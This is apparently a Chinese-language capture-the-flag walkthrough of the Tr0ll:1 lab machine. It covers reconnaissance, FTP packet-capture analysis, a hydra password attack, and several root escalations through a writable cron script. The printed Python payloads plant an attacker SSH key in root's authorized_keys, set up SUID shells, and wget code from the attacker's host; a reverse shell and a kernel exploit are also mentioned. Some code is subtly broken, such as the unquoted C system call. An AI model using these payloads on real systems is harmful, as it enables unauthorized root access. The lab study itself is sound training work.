Tr0ll:1靶机-Walkthrough

Tr0ll:1靶机-Walkthrough

靶机地址

工具和知识点

netdiscover
nmap
dirb
wireshark
hydra
Linux 3.13.0内核漏洞提权
python反弹shell
计划任务提权
SSH密钥登录
FTP状态码

一、信息收集

靶机IP

netdiscover -r 192.168.0.0/24

netdiscover

靶机IP–>192.168.0.108

靶机端口及服务

nmap -sS -sV -A -p- 192.168.0.108

nmap1nmap2

网站信息收集

网站信息1

dirb http://192.168.0.108

dirb
/robots.tx

User-agent:*
Disallow: /secret

/secert
secert

服务漏洞查找

vsFTPd 3.0.2

vsFTPd

OpenSSH 6.6.1p1

OpenSSH

Apache 2.4.7

不知道能不能利用

Apache

FTP访问

FTP
流量包

我这里为什么会访问FTP,请看下图:

Anonymous

图片里面有句话:Anonymous FTP login allowed (FTP code 230)

关于FTP 状态码

FTP code

二、流量包分析

使用Wiresharktcpdump对FTP中的PCAP数据包进行分析

发现这个流量包除了FTP、FTP-DATA外就是TCP协议

发现用户名和密码
anonymous/password

执行了如下命令:
SYST,查询服务器的操作系统

PORT 10,0,0,12,173,198(不知道干啥的~~)

LIST,列出指定目录中的子目录和文件

存在的文件
sceret_stuff.txt

RETR sceret_stuff.txt,下载sceret_stuff.txt文件

sceret_stuff

sup3rs3cr3tdirlol这是个啥,密码?网页名称?用户名?没谁的用户名这么变态吧~

当做网页名称试一下
sup3rs3cr3tdirlol
把文件下载下来,使用file命令后发现是一个ELF文件,Linux下的可执行文件
roflmao

strings roflmao

没发现什么有价值的信息

执行一下吧
roflmao

打印出一句话

Find address 0x0856BF to proceed:按发现的地址0x0856BF继续
这应该又是一个网页名称吧~

0x0856BF

三、迷之密码猜解

骗子~,这是我的第一反应。因为CTF题目里面老这么玩。
Pass
这是啥?
which
genphlux,说的一定不是这个~这么喜欢骗人,我一定不会信你的

这几个到底是用户名呢,还是密码呢?如果是密码的话,那用户名是不是之前漏掉了?

先当作用户名试一下,密码就用kali自带的rockyou.txt,位置/usr/share/wordlists/rockyou.txt,如果你只前没有使用过,那么需要先到上述目录把rockyou.txt.gz解压。hydra跑了两分钟果断终止了~~

然而密码会不会就是那个Good_job_:)
pass
我碰到你的个鬼哦

我觉得思路就是破解密码无疑了,问题是在这个靶机里破解密码的思路是啥??

真是百思不得其jie啊

文件夹的名字叫this_folder_contains_the_password
passwordPass.txt文件里面的密码我们已经试过了,但是这个文件名还没试过~
hydra
给作者点赞……

四、权限提升

信息收集

  • 当前用户无法执行sudo命令
  • home目录下只有troll,没有overflow
  • 当前用户没有超级管理员权限
  • 无操作几分钟后自动断开SSH连接

下载并执行Linuxprivchecker.py脚本。

下载的时候注意切换到tmp目录,避免写入权限不足。

分享一个Github 9k+ star的项目PayloadsAllTheThings,里面有Linux提权的内容Linux - Privilege Escalation.

第一种提权方法

运行Linuxprivchecker脚本发现靶机内核版本为:Linux version 3.13.0
Linux 3.13.0
37292

以下几种提权方式均基于计划任务

第二种提权方法

为了避免第一种提权方法对靶机的影响,我重新导入了靶机,新导入靶机的IP还是192.168.0.108

SSH登录靶机之后,发现无操作几分钟后,会话自动断开,原因可能是设置了计划任务。进而查看相应日志/var/log/cronlog
cronlog
find命令查找脚本所在位置为/lib/log/cleaner.py

注意:这个脚本不是负责结束会话的脚本

cleaner

/lib/log/cleaner.py脚本在计划任务中是以root权限执行的,并且该脚本是全局可写的,那么我们就可以利用这一点进行提权。

首先在kali攻击上生成SSH密钥,使用如下命令:

ssh-keygen

生成密钥的过程中会让你选择密钥的保存位置,默认是/root/.ssh/我这里更改到了/root/Desktop/,这个操作也让后面root登录时出现了小插曲。

ssh-keygen
其次,覆盖/var/log/cleaner.py中的内容,如下:

#!/usr/bin/env python
import os
import sys
try:
    os.system('mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEb4HsuF9WBX1hV5wxbup/q+bdJqmo2mAaolzmp0aMOSv3wco6pwsg9zPV7WZtcJkXd6jXBAODli4JAdBB2WcpCotPervDK/zrLhNDdbdyRmomUq4QFfHJKF34/PtUJWbNdes2Y+wODsWAwhq2xtKLppbYSfViOE4FR+D7b0zehDVm6kaid8F+SwZC+FPFnDBocXxFIFeA9L+JEnRHOFCD1tfRXLT9cRVIYiBeIzKWXuyq8UUoWKb+2FOwdkMgLUQI8GrlT2e8ifydGmYN/Km3P7tyTv9WFIJNKqJFSltklGuKAodcNHW4FRSssbgZ5P5vEtNpkkveDRMxnuKdzrVT/i7f9htrkfjTCI9NWW2imTNZziajYneMVxgECEQ+6M7YHRecRGxmKkeHcmPux28thIkIs/vyMAaXljq0MSzJINJGFJwBdVmEKOQXFWcN9PCOSRek/VysMG0nXIWEyCthIkT4PscdeiYb5aBs8qeBWE/OZwT+xRCuW8/S6Zx7qQk= root@hunter" >> /root/.ssh/authorized_keys')
except:
    sys.exit()

echo “kali生成的公钥”,即id_rsa.pub的全部内容

id_rsa.pub最后,等待最多两分钟,就可以在kali终端使用root账户登录靶机了。然而我这里出现了小插曲,如下图所示:
login
先看排错过程。

  • 计划任务还没执行?我用第一种方法提升到root权限,查看了/root/.ssh/authorized_keys文件,发现里面已经有了我们写入的公钥。

  • 不允许root账户远程登录?我查看了/etc/ssh/sshd_config文件,里面的与root账户使用密钥登录的配置如下:

RSAAuthentication yes

PubkeyAuthentication yes

PermitRootLogin without-password

#PasswordAuthentication yes

难道是kali攻击机上放置密钥的位置不对?我将公钥私钥移动到/root/.ssh/后,然后就成功使用root登录到靶机上了。

后面为了证实,我将公钥私钥移出/root/.ssh/,然后重启了kali攻击机,重新登录发现需要密码。

.ssh

第三种提权方法

我们将该脚本中的内容改为python反弹shell。这样以来,反弹回来的shell就直接是root权限。

我提前使用wgetpython-shell.py脚本下载到了靶机的tmp目录,又切换目录至根目录cd /,然后使用命令

cat /tmp/python-shell.py > /lib/log/cleaner.py

直接将cleaner.py原有内容覆盖
python-shell1root1

第四种提权方法

创建suid程序
首先创建c脚本,内容如下:

int main(void){
    setgid(0);
    setuid(0);
    system(/bin/bash);
}

其次wget下载到靶机的tmp目录

wget http://192.168.0.107/Desktop/suid.c

然后gcc编译suid.c

gcc suid.c -o suid

最后编辑/var/log/cleaner.py脚本,内容如下:

#!/usr/bin/env python
import os
import sys
try:
    os.system('chown root:root /tmp/suid; chmod 4777 /tmp/suid')
except:
    sys.exit()

suid root

第五种提权方法

这种提权方法跟第四种提权方法的本质是一样的。
同样是利用计划任务,代码如下:

#!/usr/bin/env python
import os
import sys
try:
    os.system('cp /bin/sh /tmp/sh')
    os.system('chmod u+s /tmp/sh')
except:
    sys.exit()

sh

发布了41 篇原创文章 · 获赞 14 · 访问量 7941

猜你喜欢

转载自blog.csdn.net/weixin_44214107/article/details/100742919